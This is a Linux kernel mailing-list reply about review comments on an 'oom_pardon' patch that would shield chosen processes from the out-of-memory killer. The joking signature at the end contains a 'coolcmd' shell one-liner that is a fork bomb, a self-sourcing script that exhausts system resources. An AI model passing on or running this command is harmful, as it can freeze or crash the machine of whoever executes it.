Re: [PATCH] oom_pardon, aka don't kill my xlock

[Thomas Habets <thomas@habets.pp.se>]

[-- Attachment #1: Type: text/plain, Size: 1142 bytes --]

Once upon a midnight dreary, Tonnerre pondered, weak and weary:
> A sysctl is  a bad implementation since you can  only store one single
> string in it.

Yup. What would be a good interface for setting that flag per-process? 
prctl()?
Personally, I'd prefer it without userspace having to write code for it.

Also, it should be able to protect against a DoS where a user launches N 
un-OOM-killable processes.

> > +       static char buf[256];
> That 256 should be VM_OOM_PARDON_LEN ?

Nope, it's the binary path len, so PATH_MAX maybe.

> We're under  the task lock, and you  want us to sleep  here?

Oh.. right. Well I don't need that lock if it's just a per-process flag.

> What about programs with spaces in its names?

I thought "screw 'em". :-)

---------
typedef struct me_s {
  char name[]      = { "Thomas Habets" };
  char email[]     = { "thomas@habets.pp.se" };
  char kernel[]    = { "Linux" };
  char *pgpKey[]   = { "http://www.habets.pp.se/pubkey.txt" };
  char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE  0945 286A E90A AD48 E854" };
  char coolcmd[]   = { "echo '. ./_&. ./_'>_;. ./_" };
} me_t;

[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]